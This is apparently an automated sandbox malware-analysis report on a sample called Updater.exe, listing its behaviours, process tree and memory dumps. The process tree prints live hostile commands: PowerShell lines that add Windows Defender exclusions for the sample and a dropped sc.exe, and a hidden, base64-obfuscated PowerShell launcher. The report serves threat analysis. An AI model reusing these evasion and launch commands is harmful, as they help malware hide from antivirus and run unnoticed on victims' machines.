Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
19/08/2026, 00:45
General
- Target Updater.exe
- Size 11.6MB
- Sample260819-a4gapacc75
- SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 12 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Updater.exe"C:\Users\Admin\AppData\Local\Temp\Updater.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Updater.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Updater.exeC:\Users\Admin\AppData\Local\Temp\Updater.exe2⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$jplqm1=Get-Date;$2layvj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1gfl0h=$env:COMPUTERNAME;$odzoie=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$jplqm1=Get-Date;& $2layvj -FilePath $odzoie"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\sc.exe"C:\Users\Admin\AppData\Roaming\sc.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Launches sc.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sc.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\sc.exeC:\Users\Admin\AppData\Roaming\sc.exe3⤵
- Executes dropped EXE
- Launches sc.exe
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_02p2zs04.old.ps1
sc.exe
memory/636-90-0x000001761B910000-0x000001761B9C5000-memory.dmp
memory/2768-79-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/2768-77-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/2768-76-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/2768-78-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/2864-4-0x000001F51D730000-0x000001F51E282000-memory.dmp
memory/2864-0-0x000001F57D490000-0x000001F57E034000-memory.dmp
memory/2864-5-0x000001F519020000-0x000001F519030000-memory.dmp
memory/2864-3-0x000001F519020000-0x000001F519030000-memory.dmp
memory/2864-2-0x000001F519000000-0x000001F519024000-memory.dmp
memory/2864-1-0x000001F519020000-0x000001F519030000-memory.dmp
memory/3700-62-0x000001CD18EE0000-0x000001CD18F04000-memory.dmp
memory/4528-9-0x0000019CB64F0000-0x0000019CB6500000-memory.dmp
memory/4528-30-0x0000019CB7510000-0x0000019CB752C000-memory.dmp
memory/4528-38-0x0000019CB7500000-0x0000019CB750A000-memory.dmp
memory/4528-31-0x0000019CB7530000-0x0000019CB75E5000-memory.dmp
memory/4528-32-0x00007FF419BB0000-0x00007FF419BC0000-memory.dmp
memory/4528-40-0x0000019CB7750000-0x0000019CB776C000-memory.dmp
memory/4528-48-0x0000019CB7730000-0x0000019CB773A000-memory.dmp
memory/4528-33-0x0000019CB64F0000-0x0000019CB6500000-memory.dmp
memory/4528-50-0x0000019CB7740000-0x0000019CB7748000-memory.dmp
memory/4528-52-0x0000019CB7780000-0x0000019CB778A000-memory.dmp
memory/4528-51-0x0000019CB7770000-0x0000019CB7776000-memory.dmp
memory/4528-49-0x0000019CB7790000-0x0000019CB77AA000-memory.dmp
memory/4528-16-0x0000019CB7140000-0x0000019CB7162000-memory.dmp
memory/4528-10-0x0000019CB64F0000-0x0000019CB6500000-memory.dmp
memory/4984-22-0x00000001440A6000-0x00000001440A7000-memory.dmp
memory/4984-55-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-39-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-37-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-36-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-34-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-35-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-20-0x0000000140000000-0x00000001440A7000-memory.dmp
memory/4984-19-0x0000000140000000-0x00000001440A7000-memory.dmp